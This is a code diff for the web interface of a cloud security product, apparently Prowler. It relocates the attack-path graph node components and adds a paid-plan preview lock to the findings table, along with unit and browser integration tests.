+export { GraphLoading } from "@/components/attack-paths/graph/graph-loading";
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/finding-node.test.tsx b/ui/components/attack-paths/graph/nodes/finding-node.test.tsx
similarity index 95%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/finding-node.test.tsx
rename to ui/components/attack-paths/graph/nodes/finding-node.test.tsx
index d29a262ee2..e985faa9eb 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/finding-node.test.tsx
+++ b/ui/components/attack-paths/graph/nodes/finding-node.test.tsx
@@ -3,13 +3,12 @@ import userEvent from "@testing-library/user-event";
import { type NodeProps, Position } from "@xyflow/react";
import { describe, expect, it, vi } from "vitest";
+import { FindingNode } from "@/components/attack-paths/graph/nodes/finding-node";
import type { GraphNode } from "@/types/attack-paths";
-import { FindingNode } from "./finding-node";
-
const hiddenHandlesMock = vi.hoisted(() => vi.fn(() => null));
-vi.mock("./hidden-handles", () => ({
+vi.mock("@/components/attack-paths/graph/nodes/hidden-handles", () => ({
HiddenHandles: hiddenHandlesMock,
}));
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/finding-node.tsx b/ui/components/attack-paths/graph/nodes/finding-node.tsx
similarity index 92%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/finding-node.tsx
rename to ui/components/attack-paths/graph/nodes/finding-node.tsx
index 78583c628a..63166813cd 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/finding-node.tsx
+++ b/ui/components/attack-paths/graph/nodes/finding-node.tsx
@@ -2,19 +2,17 @@
import { type NodeProps, Position } from "@xyflow/react";
+import { HiddenHandles } from "@/components/attack-paths/graph/nodes/hidden-handles";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/shadcn/tooltip";
+import { resolveNodeColors, resolveNodeVisual } from "@/lib/attack-paths";
+import { FINDING_NODE_DIMENSIONS } from "@/lib/attack-paths/node-dimensions";
+import { getNodeLabelDisplay } from "@/lib/attack-paths/node-label-lines";
import type { GraphNode } from "@/types/attack-paths";
-import { resolveNodeColors, resolveNodeVisual } from "../../../_lib";
-import { FINDING_NODE_DIMENSIONS } from "../../../_lib/node-dimensions";
-import { getNodeLabelDisplay } from "../../../_lib/node-label-lines";
-
-import { HiddenHandles } from "./hidden-handles";
-
interface FindingNodeData {
graphNode: GraphNode;
[key: string]: unknown;
@@ -130,8 +128,7 @@ export const FindingNode = ({ data, selected }: NodeProps) => {
y={TITLE_Y}
textAnchor="middle"
dominantBaseline="middle"
- fill="#ffffff"
- style={{ textShadow: "0 1px 2px rgba(0,0,0,0.5)" }}
+ className="fill-text-neutral-primary"
pointerEvents="none"
>
{displayTitle.lines.map((line, index) => (
@@ -150,7 +147,7 @@ export const FindingNode = ({ data, selected }: NodeProps) => {
x={TEXT_X}
y={SEVERITY_Y}
fontSize="9px"
- fill="rgba(255,255,255,0.82)"
+ className="fill-text-neutral-secondary"
>
{severity}
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/graph-node-shell.tsx b/ui/components/attack-paths/graph/nodes/graph-node-shell.tsx
similarity index 95%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/graph-node-shell.tsx
rename to ui/components/attack-paths/graph/nodes/graph-node-shell.tsx
index 80bc1ec43f..3055415983 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/graph-node-shell.tsx
+++ b/ui/components/attack-paths/graph/nodes/graph-node-shell.tsx
@@ -3,6 +3,7 @@
import { Position } from "@xyflow/react";
import type { ReactNode } from "react";
+import { HiddenHandles } from "@/components/attack-paths/graph/nodes/hidden-handles";
import {
Tooltip,
TooltipContent,
@@ -10,8 +11,6 @@ import {
} from "@/components/shadcn/tooltip";
import { cn } from "@/lib/utils";
-import { HiddenHandles } from "./hidden-handles";
-
interface GraphNodeShellProps {
width: number;
height: number;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/group-node.tsx b/ui/components/attack-paths/graph/nodes/group-node.tsx
similarity index 93%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/group-node.tsx
rename to ui/components/attack-paths/graph/nodes/group-node.tsx
index 75292d87ab..47b10ccddc 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/group-node.tsx
+++ b/ui/components/attack-paths/graph/nodes/group-node.tsx
@@ -2,18 +2,16 @@
import { type NodeProps } from "@xyflow/react";
-import type { GraphNode } from "@/types/attack-paths";
-
+import { GraphNodeShell } from "@/components/attack-paths/graph/nodes/graph-node-shell";
import {
GRAPH_COUNT_BADGE_STROKE_COLOR,
resolveNodeColors,
resolveNodeVisual,
-} from "../../../_lib";
-import { GROUP_PROPS } from "../../../_lib/group-graph";
-import { GROUP_NODE_DIMENSIONS } from "../../../_lib/node-dimensions";
-import { getNodeLabelDisplay } from "../../../_lib/node-label-lines";
-
-import { GraphNodeShell } from "./graph-node-shell";
+} from "@/lib/attack-paths";
+import { GROUP_PROPS } from "@/lib/attack-paths/group-graph";
+import { GROUP_NODE_DIMENSIONS } from "@/lib/attack-paths/node-dimensions";
+import { getNodeLabelDisplay } from "@/lib/attack-paths/node-label-lines";
+import type { GraphNode } from "@/types/attack-paths";
interface GroupNodeData {
graphNode: GraphNode;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/hidden-handles.tsx b/ui/components/attack-paths/graph/nodes/hidden-handles.tsx
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/hidden-handles.tsx
rename to ui/components/attack-paths/graph/nodes/hidden-handles.tsx
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/internet-node.tsx b/ui/components/attack-paths/graph/nodes/internet-node.tsx
similarity index 93%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/internet-node.tsx
rename to ui/components/attack-paths/graph/nodes/internet-node.tsx
index 097e2903c5..539b615ef3 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/internet-node.tsx
+++ b/ui/components/attack-paths/graph/nodes/internet-node.tsx
@@ -2,12 +2,10 @@
import { type NodeProps } from "@xyflow/react";
+import { HiddenHandles } from "@/components/attack-paths/graph/nodes/hidden-handles";
+import { resolveNodeColors } from "@/lib/attack-paths";
import type { GraphNode } from "@/types/attack-paths";
-import { resolveNodeColors } from "../../../_lib";
-
-import { HiddenHandles } from "./hidden-handles";
-
interface InternetNodeData {
graphNode: GraphNode;
[key: string]: unknown;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/outcome-node.tsx b/ui/components/attack-paths/graph/nodes/outcome-node.tsx
similarity index 90%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/outcome-node.tsx
rename to ui/components/attack-paths/graph/nodes/outcome-node.tsx
index b0134fa1a2..d2890e8ef0 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/outcome-node.tsx
+++ b/ui/components/attack-paths/graph/nodes/outcome-node.tsx
@@ -3,17 +3,15 @@
import { type NodeProps } from "@xyflow/react";
import { Crosshair } from "lucide-react";
-import type { GraphNode } from "@/types/attack-paths";
-
+import { GraphNodeShell } from "@/components/attack-paths/graph/nodes/graph-node-shell";
import {
GRAPH_OUTCOME_BORDER_COLOR,
GRAPH_OUTCOME_FILL_COLOR,
-} from "../../../_lib";
-import { OUTCOME_PROPS } from "../../../_lib/group-graph";
-import { OUTCOME_NODE_DIMENSIONS } from "../../../_lib/node-dimensions";
-import { getNodeLabelDisplay } from "../../../_lib/node-label-lines";
-
-import { GraphNodeShell } from "./graph-node-shell";
+} from "@/lib/attack-paths";
+import { OUTCOME_PROPS } from "@/lib/attack-paths/group-graph";
+import { OUTCOME_NODE_DIMENSIONS } from "@/lib/attack-paths/node-dimensions";
+import { getNodeLabelDisplay } from "@/lib/attack-paths/node-label-lines";
+import type { GraphNode } from "@/types/attack-paths";
interface OutcomeNodeData {
graphNode: GraphNode;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/resource-node.test.tsx b/ui/components/attack-paths/graph/nodes/resource-node.test.tsx
similarity index 96%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/resource-node.test.tsx
rename to ui/components/attack-paths/graph/nodes/resource-node.test.tsx
index 4cdf1a46b3..358dea4173 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/resource-node.test.tsx
+++ b/ui/components/attack-paths/graph/nodes/resource-node.test.tsx
@@ -3,13 +3,12 @@ import userEvent from "@testing-library/user-event";
import { type NodeProps, Position } from "@xyflow/react";
import { describe, expect, it, vi } from "vitest";
+import { ResourceNode } from "@/components/attack-paths/graph/nodes/resource-node";
import type { GraphNode } from "@/types/attack-paths";
-import { ResourceNode } from "./resource-node";
-
const hiddenHandlesMock = vi.hoisted(() => vi.fn(() => null));
-vi.mock("./hidden-handles", () => ({
+vi.mock("@/components/attack-paths/graph/nodes/hidden-handles", () => ({
HiddenHandles: hiddenHandlesMock,
}));
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/resource-node.tsx b/ui/components/attack-paths/graph/nodes/resource-node.tsx
similarity index 91%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/resource-node.tsx
rename to ui/components/attack-paths/graph/nodes/resource-node.tsx
index 3120129091..7b012778ef 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/nodes/resource-node.tsx
+++ b/ui/components/attack-paths/graph/nodes/resource-node.tsx
@@ -2,19 +2,17 @@
import { type NodeProps, Position } from "@xyflow/react";
+import { HiddenHandles } from "@/components/attack-paths/graph/nodes/hidden-handles";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/shadcn/tooltip";
+import { resolveNodeColors, resolveNodeVisual } from "@/lib/attack-paths";
+import { RESOURCE_NODE_DIMENSIONS } from "@/lib/attack-paths/node-dimensions";
+import { getNodeLabelDisplay } from "@/lib/attack-paths/node-label-lines";
import type { GraphNode } from "@/types/attack-paths";
-import { resolveNodeColors, resolveNodeVisual } from "../../../_lib";
-import { RESOURCE_NODE_DIMENSIONS } from "../../../_lib/node-dimensions";
-import { getNodeLabelDisplay } from "../../../_lib/node-label-lines";
-
-import { HiddenHandles } from "./hidden-handles";
-
interface ResourceNodeData {
graphNode: GraphNode;
hasFindings?: boolean;
@@ -115,8 +113,7 @@ export const ResourceNode = ({ data, selected }: NodeProps) => {
y={NAME_Y}
textAnchor="middle"
dominantBaseline="middle"
- fill="#ffffff"
- style={{ textShadow: "0 1px 2px rgba(0,0,0,0.5)" }}
+ className="fill-text-neutral-primary"
pointerEvents="none"
>
{displayName.lines.map((line, index) => (
@@ -135,7 +132,7 @@ export const ResourceNode = ({ data, selected }: NodeProps) => {
x={TEXT_X}
y={TYPE_Y}
fontSize="9px"
- fill="rgba(255,255,255,0.8)"
+ className="fill-text-neutral-secondary"
>
{typeLabel}
diff --git a/ui/components/findings/table/findings-group-table.test.tsx b/ui/components/findings/table/findings-group-table.test.tsx
index 9ed9c7032a..2cb265a973 100644
--- a/ui/components/findings/table/findings-group-table.test.tsx
+++ b/ui/components/findings/table/findings-group-table.test.tsx
@@ -1,9 +1,11 @@
-import { render, screen } from "@testing-library/react";
+import { render, screen, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { Fragment, type ReactNode } from "react";
import { beforeEach, describe, expect, it, vi } from "vitest";
import { resolveFindingIdsByVisibleGroupResources } from "@/actions/findings/findings-by-resource";
+import { useCloudUpgradeStore } from "@/store";
+import { PAID_PLAN_UPGRADE_FEATURE } from "@/types/cloud-upgrade";
import {
FINDINGS_ROW_TYPE,
type FindingGroupRow,
@@ -43,8 +45,10 @@ vi.mock("@/components/shadcn/table", () => ({
data,
toolbarRightContent,
getRowAttributes,
+ getRowCanSelect,
onRowSelectionChange,
renderAfterRow,
+ previewLock,
}: {
data?: Array<{ checkId?: string }>;
toolbarRightContent?: ReactNode;
@@ -52,6 +56,11 @@ vi.mock("@/components/shadcn/table", () => ({
index: number;
original: { checkId?: string };
}) => Record;
+ getRowCanSelect?: (row: {
+ index: number;
+ original: { checkId?: string };
+ }) => boolean;
+ previewLock?: { visibleRowCount: number; overlay: ReactNode };
onRowSelectionChange?: (
updater: (previous: Record) => Record,
) => void;
@@ -62,12 +71,23 @@ vi.mock("@/components/shadcn/table", () => ({
}) => (
{toolbarRightContent}
+ {previewLock && (
+
+ {previewLock.overlay}
+
+ )}
{(data ?? []).map((original, index) => (
{original.checkId}
@@ -117,7 +137,35 @@ vi.mock("@/components/lighthouse/context-contributor", () => ({
}));
vi.mock("@/components/onboarding", () => ({
- OnboardingTrigger: () =>
,
+ // Exposes the "Open a finding group" step so tests can drive it and read
+ // whether the handler waited for the resources step.
+ OnboardingTrigger: ({
+ stepHandlers,
+ }: {
+ stepHandlers?: Record<
+ string,
+ {
+ onNext?: (context: {
+ waitForStep: (target: string) => Promise;
+ }) => Promise;
+ }
+ >;
+ }) => (
+ {
+ const waitForStep = vi.fn(async () => {});
+ void stepHandlers?.group?.onNext?.({ waitForStep }).then(() => {
+ document.body.dataset.tourWaited = String(
+ waitForStep.mock.calls.length > 0,
+ );
+ });
+ }}
+ >
+ Open first group
+
+ ),
PageReady: () =>
,
}));
@@ -421,4 +469,141 @@ describe("FindingsGroupTable", () => {
resourceSearch: undefined,
});
});
+
+ describe("when the table is locked to a preview", () => {
+ const lockedGroups = [
+ makeGroup("check-a"),
+ makeGroup("check-b"),
+ makeGroup("check-c"),
+ ];
+
+ beforeEach(() => {
+ useCloudUpgradeStore.getState().closeCloudUpgrade();
+ });
+
+ it("floats the unlock prompt over the table and keeps locked groups unselectable", () => {
+ // Given / When
+ render(
+ ,
+ );
+
+ // Then
+ expect(screen.getByTestId("preview-lock")).toHaveAttribute(
+ "data-visible",
+ "2",
+ );
+ expect(
+ screen.getByRole("button", { name: "Unlock All Findings" }),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("row-1")).toHaveAttribute(
+ "data-can-select",
+ "true",
+ );
+ expect(screen.getByTestId("row-2")).toHaveAttribute(
+ "data-can-select",
+ "false",
+ );
+ });
+
+ it("still opens an expanded deep link inside the preview", () => {
+ // Given / When
+ render(
+ ,
+ );
+
+ // Then
+ expect(
+ screen.getByRole("button", { name: "Select finding-1" }),
+ ).toBeInTheDocument();
+ });
+
+ it("skips the tour resources step when the only drillable group is locked", async () => {
+ // Given: the previewed rows cannot drill down, a locked one can
+ const user = userEvent.setup();
+ delete document.body.dataset.tourWaited;
+ render(
+ ,
+ );
+
+ // When
+ await user.click(
+ screen.getByRole("button", { name: "Open first group" }),
+ );
+
+ // Then: no drill-down, no upgrade prompt, and the tour did not wait
+ await waitFor(() =>
+ expect(document.body.dataset.tourWaited).toBe("false"),
+ );
+ expect(
+ screen.queryByRole("button", { name: "Select finding-1" }),
+ ).not.toBeInTheDocument();
+ expect(useCloudUpgradeStore.getState().activeFeature).toBeNull();
+ });
+
+ it("ignores an expanded deep link that points past the preview", () => {
+ // Given / When
+ render(
+ ,
+ );
+
+ // Then
+ expect(
+ screen.queryByRole("button", { name: "Select finding-1" }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("answers a drill-down past the preview with the upgrade prompt", async () => {
+ // Given
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ // When
+ await user.click(screen.getByRole("button", { name: "Expand check-c" }));
+
+ // Then
+ expect(useCloudUpgradeStore.getState().activeFeature).toBe(
+ PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW,
+ );
+ expect(
+ screen.queryByRole("button", { name: "Select finding-1" }),
+ ).not.toBeInTheDocument();
+ });
+ });
});
diff --git a/ui/components/findings/table/findings-group-table.tsx b/ui/components/findings/table/findings-group-table.tsx
index 2b34f5a6ce..e0004ff7d1 100644
--- a/ui/components/findings/table/findings-group-table.tsx
+++ b/ui/components/findings/table/findings-group-table.tsx
@@ -21,7 +21,9 @@ import {
} from "@/lib/lighthouse/context/contributions";
import { getFlowById } from "@/lib/onboarding";
import { createExploreFindingsTourStepHandlers } from "@/lib/tours/explore-findings.tour";
+import { useCloudUpgradeStore } from "@/store";
import { FindingGroupRow, MetaDataProps } from "@/types";
+import { PAID_PLAN_UPGRADE_FEATURE } from "@/types/cloud-upgrade";
import { JIRA_DISPATCH_MODE, JIRA_DISPATCH_TARGET } from "@/types/integrations";
import { LIGHTHOUSE_CONTEXT_LIMIT } from "@/types/lighthouse-context";
@@ -29,6 +31,7 @@ import { FloatingSelectionActions } from "../floating-selection-actions";
import { getColumnFindingGroups } from "./column-finding-groups";
import { canMuteFindingGroup } from "./finding-group-selection";
+import { FindingsPreviewLock } from "./findings-preview-lock";
import { FindingsSelectionContext } from "./findings-selection-context";
import {
InlineResourceContainer,
@@ -75,12 +78,24 @@ function buildEntityCountLabel(
return `${count} ${count === 1 ? singular : plural}`;
}
+// Groups a locked tenant can open; the rest of the page is a blurred teaser.
+function getPreviewedGroups(
+ groups: FindingGroupRow[],
+ previewRowLimit: number | undefined,
+): FindingGroupRow[] {
+ return previewRowLimit === undefined
+ ? groups
+ : groups.slice(0, previewRowLimit);
+}
+
interface FindingsGroupTableProps {
data: FindingGroupRow[];
metadata?: MetaDataProps;
resolvedFilters: Record;
hasHistoricalData: boolean;
expandedCheckId?: string;
+ /** Rows the user can read; the rest render locked behind the upgrade prompt. */
+ previewRowLimit?: number;
}
export function FindingsGroupTable({
@@ -89,10 +104,13 @@ export function FindingsGroupTable({
resolvedFilters,
hasHistoricalData,
expandedCheckId: requestedExpandedCheckId,
+ previewRowLimit,
}: FindingsGroupTableProps) {
const safeData = data ?? EMPTY_FINDING_GROUPS;
const requestedGroup = requestedExpandedCheckId
- ? safeData.find((group) => group.checkId === requestedExpandedCheckId)
+ ? getPreviewedGroups(safeData, previewRowLimit).find(
+ (group) => group.checkId === requestedExpandedCheckId,
+ )
: undefined;
const initialExpandedCheckId =
requestedGroup && canDrillDownFindingGroup(requestedGroup)
@@ -107,6 +125,7 @@ export function FindingsGroupTable({
resolvedFilters={resolvedFilters}
hasHistoricalData={hasHistoricalData}
initialExpandedCheckId={initialExpandedCheckId}
+ previewRowLimit={previewRowLimit}
/>
);
}
@@ -117,6 +136,7 @@ interface FindingsGroupTableContentProps {
resolvedFilters: Record;
hasHistoricalData: boolean;
initialExpandedCheckId: string | null;
+ previewRowLimit?: number;
}
const FindingsGroupTableContent = ({
@@ -125,9 +145,13 @@ const FindingsGroupTableContent = ({
resolvedFilters,
hasHistoricalData,
initialExpandedCheckId,
+ previewRowLimit,
}: FindingsGroupTableContentProps) => {
const router = useRouter();
const searchParams = useSearchParams();
+ const openCloudUpgrade = useCloudUpgradeStore(
+ (state) => state.openCloudUpgrade,
+ );
const [rowSelection, setRowSelection] = useState({});
const [selectedExpandedCheckId, setSelectedExpandedCheckId] = useState<
string | null
@@ -139,8 +163,13 @@ const FindingsGroupTableContent = ({
const inlineRef = useRef(null);
const safeData = data ?? EMPTY_FINDING_GROUPS;
+ const previewedGroups = getPreviewedGroups(safeData, previewRowLimit);
+ const isPreviewedRow = (index: number) =>
+ previewRowLimit === undefined || index < previewRowLimit;
+ const openFindingsPreviewUpgrade = () =>
+ openCloudUpgrade(PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW);
const expandedGroupCandidate = selectedExpandedCheckId
- ? safeData.find((group) => group.checkId === selectedExpandedCheckId)
+ ? previewedGroups.find((group) => group.checkId === selectedExpandedCheckId)
: undefined;
const expandedGroup =
expandedGroupCandidate && canDrillDownFindingGroup(expandedGroupCandidate)
@@ -236,7 +265,7 @@ const FindingsGroupTableContent = ({
findingCount: activeResourceSelection.length,
});
- const selectableRowCount = safeData.filter((g) =>
+ const selectableRowCount = previewedGroups.filter((g) =>
canMuteFindingGroup({
resourcesFail: g.resourcesFail,
resourcesTotal: g.resourcesTotal,
@@ -247,12 +276,15 @@ const FindingsGroupTableContent = ({
const getRowCanSelect = (row: Row): boolean => {
const group = row.original;
- return canMuteFindingGroup({
- resourcesFail: group.resourcesFail,
- resourcesTotal: group.resourcesTotal,
- muted: group.muted,
- mutedCount: group.mutedCount,
- });
+ return (
+ isPreviewedRow(row.index) &&
+ canMuteFindingGroup({
+ resourcesFail: group.resourcesFail,
+ resourcesTotal: group.resourcesTotal,
+ muted: group.muted,
+ mutedCount: group.mutedCount,
+ })
+ );
};
const clearSelection = () => {
@@ -293,6 +325,11 @@ const FindingsGroupTableContent = ({
};
const handleDrillDown = (checkId: string, group: FindingGroupRow) => {
+ // Locked rows are inert, so this only guards programmatic callers.
+ if (!previewedGroups.some((candidate) => candidate.checkId === checkId)) {
+ openFindingsPreviewUpgrade();
+ return;
+ }
if (!canDrillDownFindingGroup(group)) return;
// Toggle: same group collapses, different group switches
@@ -314,13 +351,14 @@ const FindingsGroupTableContent = ({
};
// Drives the onboarding "Open a finding group" step: opens the first row when
- // drillable, otherwise the first drillable group. Returns false when none can
- // open so the tour skips the resources step instead of hanging.
+ // drillable, otherwise the first drillable previewed group (a locked row
+ // would only open the upgrade prompt). Returns false when none can open so
+ // the tour skips the resources step instead of hanging.
const openFirstFindingGroup = (): boolean => {
const target =
- safeData[0] && canDrillDownFindingGroup(safeData[0])
- ? safeData[0]
- : safeData.find((group) => canDrillDownFindingGroup(group));
+ previewedGroups[0] && canDrillDownFindingGroup(previewedGroups[0])
+ ? previewedGroups[0]
+ : previewedGroups.find((group) => canDrillDownFindingGroup(group));
if (!target) return false;
handleDrillDown(target.checkId, target);
return true;
@@ -424,6 +462,19 @@ const FindingsGroupTableContent = ({
getRowAttributes={(row) =>
row.index === 0 ? { "data-tour-id": "explore-findings-group" } : {}
}
+ previewLock={
+ previewRowLimit !== undefined
+ ? {
+ visibleRowCount: previewRowLimit,
+ overlay: (
+
+ ),
+ onLockedInteraction: openFindingsPreviewUpgrade,
+ }
+ : undefined
+ }
/>
diff --git a/ui/components/findings/table/findings-preview-lock.integration.test.tsx b/ui/components/findings/table/findings-preview-lock.integration.test.tsx
new file mode 100644
index 0000000000..b8766381bc
--- /dev/null
+++ b/ui/components/findings/table/findings-preview-lock.integration.test.tsx
@@ -0,0 +1,212 @@
+import type { ColumnDef } from "@tanstack/react-table";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { page, userEvent } from "vitest/browser";
+
+import { render } from "@/__tests__/render-browser";
+import { DataTable } from "@/components/shadcn/table/data-table";
+import { useCloudUpgradeStore } from "@/store";
+import { PAID_PLAN_UPGRADE_FEATURE } from "@/types/cloud-upgrade";
+
+import { FindingsPreviewLock } from "./findings-preview-lock";
+
+interface PreviewRow {
+ name: string;
+}
+
+const columns: ColumnDef[] = [
+ { accessorKey: "name", header: "Finding group" },
+];
+
+describe("Findings preview layout", () => {
+ afterEach(async () => {
+ useCloudUpgradeStore.getState().closeCloudUpgrade();
+ await page.viewport(1280, 800);
+ });
+
+ it.each([
+ { count: 11, width: 1280 },
+ { count: 13, width: 1280 },
+ { count: 20, width: 1280 },
+ { count: 11, width: 375 },
+ { count: 13, width: 375 },
+ { count: 20, width: 375 },
+ ])(
+ "keeps the unlock card above pagination with $count groups at $width px",
+ async ({ count, width }) => {
+ // Given: filtered results may leave too few blurred rows to contain the card.
+ await page.viewport(width, 1400);
+ const screen = await render(
+ ({
+ name: `Finding ${index + 1}`,
+ }))}
+ metadata={{
+ pagination: { page: 1, pages: 1, count },
+ version: "v1",
+ }}
+ previewLock={{
+ visibleRowCount: 10,
+ overlay: ,
+ onLockedInteraction: vi.fn(),
+ }}
+ />,
+ );
+
+ // When
+ const card = screen.getByRole("region", { name: "Findings preview" });
+ await expect.element(card).toBeVisible();
+ const tableScrollport = screen
+ .getByRole("table")
+ .element().parentElement!;
+
+ // Then: the CTA needs no hidden vertical scroll inside the table.
+ await expect
+ .poll(
+ () =>
+ card.element().getBoundingClientRect().bottom -
+ tableScrollport.getBoundingClientRect().bottom,
+ )
+ .toBeLessThanOrEqual(0);
+ expect(tableScrollport.scrollHeight).toBeLessThanOrEqual(
+ tableScrollport.clientHeight,
+ );
+
+ await screen.getByRole("button", { name: "Unlock All Findings" }).click();
+ expect(useCloudUpgradeStore.getState().activeFeature).toBe(
+ PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW,
+ );
+ },
+ );
+
+ it("keeps the card visible when a wide table scrolls and the viewport shrinks", async () => {
+ // Given
+ await page.viewport(1280, 1400);
+ const screen = await render(
+ (
+ {row.original.name}
+ ),
+ },
+ ]}
+ data={Array.from({ length: 11 }, (_, index) => ({
+ name: `Finding ${index + 1}`,
+ }))}
+ previewLock={{
+ visibleRowCount: 10,
+ overlay: ,
+ onLockedInteraction: vi.fn(),
+ }}
+ />,
+ );
+ const card = screen.getByRole("region", { name: "Findings preview" });
+ await expect.element(card).toBeVisible();
+ const tableScrollport = screen.getByRole("table").element().parentElement!;
+ const originalLeft = card.element().getBoundingClientRect().left;
+
+ // When
+ tableScrollport.scrollLeft = 400;
+
+ // Then: horizontal scrolling preserves the card's position.
+ expect(tableScrollport.scrollLeft).toBeGreaterThan(0);
+ await expect
+ .poll(() => card.element().getBoundingClientRect().left)
+ .toBe(originalLeft);
+
+ // When: wrapping makes the card taller after mount.
+ await page.viewport(375, 1400);
+
+ // Then: both the horizontal pin and the reserved height follow the resize.
+ await expect
+ .poll(
+ () =>
+ card.element().getBoundingClientRect().right -
+ tableScrollport.getBoundingClientRect().right,
+ )
+ .toBeLessThanOrEqual(0);
+ await expect
+ .poll(
+ () =>
+ card.element().getBoundingClientRect().bottom -
+ tableScrollport.getBoundingClientRect().bottom,
+ )
+ .toBeLessThanOrEqual(0);
+ expect(tableScrollport.scrollHeight).toBeLessThanOrEqual(
+ tableScrollport.clientHeight,
+ );
+ await screen.getByRole("button", { name: "Unlock All Findings" }).click();
+ expect(useCloudUpgradeStore.getState().activeFeature).toBe(
+ PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW,
+ );
+ });
+
+ it("opens the upgrade prompt when clicking a blurred row without firing its actions", async () => {
+ // Given
+ await page.viewport(1280, 1800);
+ const onLockedInteraction = vi.fn();
+ const onRowAction = vi.fn();
+ const onRowClick = vi.fn();
+ const screen = await render(
+
+ (
+
+ {row.original.name}
+
+ ),
+ },
+ ]}
+ data={Array.from({ length: 20 }, (_, index) => ({
+ name: `Finding ${index + 1}`,
+ }))}
+ onRowClick={onRowClick}
+ previewLock={{
+ visibleRowCount: 10,
+ overlay: ,
+ onLockedInteraction,
+ }}
+ />
+ After table
+
,
+ );
+
+ // When: a real pointer click at the inert content's position, outside the card.
+ await screen
+ .getByText("Finding 20", { exact: true })
+ .click({ force: true });
+
+ // Then
+ expect(onLockedInteraction).toHaveBeenCalledOnce();
+ expect(onRowAction).not.toHaveBeenCalled();
+ expect(onRowClick).not.toHaveBeenCalled();
+
+ // When / Then: keyboard focus skips every blurred action, keeping the CTA usable.
+ (
+ screen
+ .getByRole("button", { name: "Finding 10", exact: true })
+ .element() as HTMLButtonElement
+ ).focus();
+ await userEvent.tab();
+ await expect
+ .element(screen.getByRole("button", { name: "Unlock All Findings" }))
+ .toHaveFocus();
+ await userEvent.tab();
+ await expect
+ .element(screen.getByRole("button", { name: "After table" }))
+ .toHaveFocus();
+
+ // Visible row actions still work.
+ await screen
+ .getByRole("button", { name: "Finding 1", exact: true })
+ .click();
+ expect(onRowAction).toHaveBeenCalledOnce();
+ });
+});
diff --git a/ui/components/findings/table/findings-preview-lock.test.tsx b/ui/components/findings/table/findings-preview-lock.test.tsx
new file mode 100644
index 0000000000..ea60a4aaf2
--- /dev/null
+++ b/ui/components/findings/table/findings-preview-lock.test.tsx
@@ -0,0 +1,33 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it } from "vitest";
+
+import { useCloudUpgradeStore } from "@/store";
+import { PAID_PLAN_UPGRADE_FEATURE } from "@/types/cloud-upgrade";
+
+import { FindingsPreviewLock } from "./findings-preview-lock";
+
+describe("FindingsPreviewLock", () => {
+ beforeEach(() => {
+ useCloudUpgradeStore.getState().closeCloudUpgrade();
+ });
+
+ it("tells the user how much of the list is hidden and opens the paid plan upgrade", async () => {
+ // Given
+ const user = userEvent.setup();
+ render( );
+
+ // When
+ await user.click(
+ screen.getByRole("button", { name: "Unlock All Findings" }),
+ );
+
+ // Then
+ expect(
+ screen.getByText("Showing the 10 most critical of 1,234 finding groups"),
+ ).toBeInTheDocument();
+ expect(useCloudUpgradeStore.getState().activeFeature).toBe(
+ PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW,
+ );
+ });
+});
diff --git a/ui/components/findings/table/findings-preview-lock.tsx b/ui/components/findings/table/findings-preview-lock.tsx
new file mode 100644
index 0000000000..f52d4c761b
--- /dev/null
+++ b/ui/components/findings/table/findings-preview-lock.tsx
@@ -0,0 +1,53 @@
+"use client";
+
+import { Lock } from "lucide-react";
+
+import { Button } from "@/components/shadcn/button/button";
+import { FINDINGS_PREVIEW_ROW_LIMIT } from "@/lib/findings-access";
+import { useCloudUpgradeStore } from "@/store";
+import { PAID_PLAN_UPGRADE_FEATURE } from "@/types/cloud-upgrade";
+
+interface FindingsPreviewLockProps {
+ totalCount?: number;
+}
+
